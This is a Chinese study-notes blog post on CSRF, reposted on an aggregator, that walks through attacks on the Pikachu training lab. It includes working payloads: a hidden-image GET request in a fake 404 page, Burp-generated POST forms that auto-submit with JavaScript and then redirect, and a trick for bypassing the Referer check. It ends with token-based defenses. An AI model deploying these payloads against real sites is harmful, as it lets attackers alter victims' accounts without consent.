CSRF漏洞学习
Posted XINYU2428
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了CSRF漏洞学习相关的知识,希望对你有一定的参考价值。
漏洞介绍
CSRF(Cross-site request forgery),也称XSRF,跨站请求伪造:攻击者诱导受害者进入第三方网站,在第三方网站中,向被攻击网站发送跨站请求。利用受害者在被攻击网站已经获取的注册凭证,绕过后台的用户验证,达到冒充用户对被攻击的网站执行某项操作的目的。与XSS相似,但与XSS相比更难防范,是一种广泛存在于网站中的安全漏洞,经常与XSS一起配合攻击。
漏洞原理
受害者登录网站A,并在自己的浏览器中保留了对应的Cookie.
在网站A未退出登录期间, 攻击者引诱受害者访问了其伪造的请求(这个请求一般是一个链接).
攻击者的恶意链接会通过代码自动向网站A发送一个带有网站A的Cookie的伪造请求.
网站A接收到请求后, 对请求进行身份验证, 并确认是受害者的Cookie凭证,误以为是受害者自己发送的请求.
到此, 攻击完成,攻击者在受害者不知情的情况下,冒充受害者,让网站A执行了自己定义的伪造请求.
漏洞利用环境
受害者登陆了存在CSRF漏洞的网站A, 并在本地生成了对应的Cookie.
在不退出登录网站A的期间, 受害者无意中访问了由攻击者构造的恶意请求链接.
对于第二条, 直接关闭浏览器并不等同于退出登录了, 在你下一次打开浏览器时, 可能Cookie还是有效的.
正常的攻击流程
首先我们需要确定目标站点的一些重要的功能点存在CSRF漏洞.
比如修改密码, 修改个人信息, 添加管理员账户, 转账, 删除账户等功能.
这里我们需要理解, 如果目标站点都没有登录功能, 那么CSRF漏洞是没有意义的.
下面以pikachu靶场为例
GET类型
这是一个登陆后, 修改个人信息的功能, 这里既没有referfer验证也没有tonken验证
开启burp抓到对应的请求包并放入Repeater模块, 然后将请求包中的Referer删除重放
可以看到修改信息成功了
到这里我们可以基本可以判断其存在CSRF漏洞
接下来我们构造一个恶意请求页面(当然也可以直接将这个GET请求链接发送给受害者).
比如构造一个404页面放在自己的服务器上, 并以图片链接的形式发送修改信息的请求且将图片隐藏掉.
<h1>404(not found)<h1>
<img src="http://192.168.238.141/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=crsf ceshi&phonenum=18626545453&add=cref ceshi&email=vince%40pikachu.com&submit=submit" style="display:none;" />
得到一个访问链接, 并引诱受害者访问这个链接
http://www.x.com/csrf.html
站在受害者的角度, 他只看到了404页面, 但是实际上受害者的浏览器已经自动发送的另外的攻击请求
返回页面看下个人信息, 发现已经被自动修改了
POST类型
攻击流程是一样的, 只需要将恶意请求页面代码换成表单提交的方式
方法如下:
使用burp抓到请求包
右键生成 CSRF POC
复制POC页面代码
将其保存为一个HTML文件, 并放在自己的服务器上
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://192.168.238.141/pikachu/vul/csrf/csrfpost/csrf_post_edit.php" method="POST">
<input type="hidden" name="sex" value="112233" />
<input type="hidden" name="phonenum" value="18626545453" />
<input type="hidden" name="add" value="445566" />
<input type="hidden" name="email" value="vince@pikachu.com" />
<input type="hidden" name="submit" value="submit" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
诱导受害者访问该链接, 打开后可以看到一个按钮
当受害者点击后会触发攻击请求, 并自动跳转到个人信息的页面
很显然上面的伪装页面很容易被人发现, 并且很少有人去点击一个陌生页面上的按钮
所以我们需要对页面代码做一些处理, 利用JS完成自动发送伪造请求
代码如下
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form action="http://192.168.238.141/pikachu/vul/csrf/csrfpost/csrf_post_edit.php" method="POST">
<input type="hidden" name="sex" value="111" />
<input type="hidden" name="phonenum" value="222" />
<input type="hidden" name="add" value="333" />
<input type="hidden" name="email" value="777" />
<input type="hidden" name="submit" value="submit" />
<input type="submit" value="" id="csrf" />
</form>
</body>
<script>
window.onload = function(){
document.getElementById('csrf').click();
location.href='http://www.baidu.com';
}
</script>
</html>
访问伪造链接, 浏览器自动跳到百度页面(也可以跳转到其他的伪装页面), 期间已经发送了伪造请求
信息修改成功
另一种自动提交表单的方式
<script>document.forms[0].submit();</script>
这种方式有一个坑, 在这里并不能使用, 原因见下图
pikachu CSRF第三关验证了token, 暂时没有好的方法绕过它, 所以它暂时是安全的.
CSRF绕过
将页面名称改为与host相同, 即127.0.0.1.html
放在服务器上, 当页面被访问时, Referer: http://vpsIP/127.0.0.1.html
此时虽然不是127.0.0.1发起的请求, 但服务器却会误认为是这样, 即绕过检测
这里也可以建一个名字为 "127.0.0.1" 的目录, 再讲攻击页面放入其中.
referer验证只能防御来自站外的CSRF,却无法防御来自站内的CSRF.(比如攻击者可以在网站上传html文件时)
相关文章: CSRF花式绕过Referer技巧
https://www.ohlinge.cn/web/csrf_referer.html
CSRF防御
随机Token值验证请求是否来自它本身应在的页面, 相关文章: CSRF防御机制的不足与反思
https://www.leavesongs.com/PENETRATION/think-about-cookie-form-csrf-protected.html
总结
Cookie身份验证机制虽然能保证请求是来自于受害者的浏览器, 但却无法保证该请求是受害者想要发送的, 这就是漏洞产生的原因.
如果我们能验证某个重要的请求是否来自它本身应在的页面, 那么就可以防御住CSRF漏洞, 随机token值可以解决这个问题.
直接将链接发给受害者, 然后问他, 我叫你一声你敢答应吗.
上传html文件到其网站服务器中(如果允许的话, 比如kindeditor编辑器漏洞), 等待管理员查看可疑文件时触发.
与XSS结合实现, 将CSRF伪造链接存储在网站本身的页面, 等待他人来浏览触发.
CSRF蠕虫攻击, 相关文章: 经典的XSS+CSRF结合造成的蠕虫病毒式推广
https://bbs.ichunqiu.com/thread-21477-1-1.html
当然, 站在测试者的角度, 我们只需要验证网站存在这个漏洞即可.
说明:
文章即为学习笔记, 不保证内容完全准确, 上文中的链接均为参考文章可进一步深入学习, 文中如有错误还请多指出, 共同进步.
以上是关于CSRF漏洞学习的主要内容,如果未能解决你的问题,请参考以下文章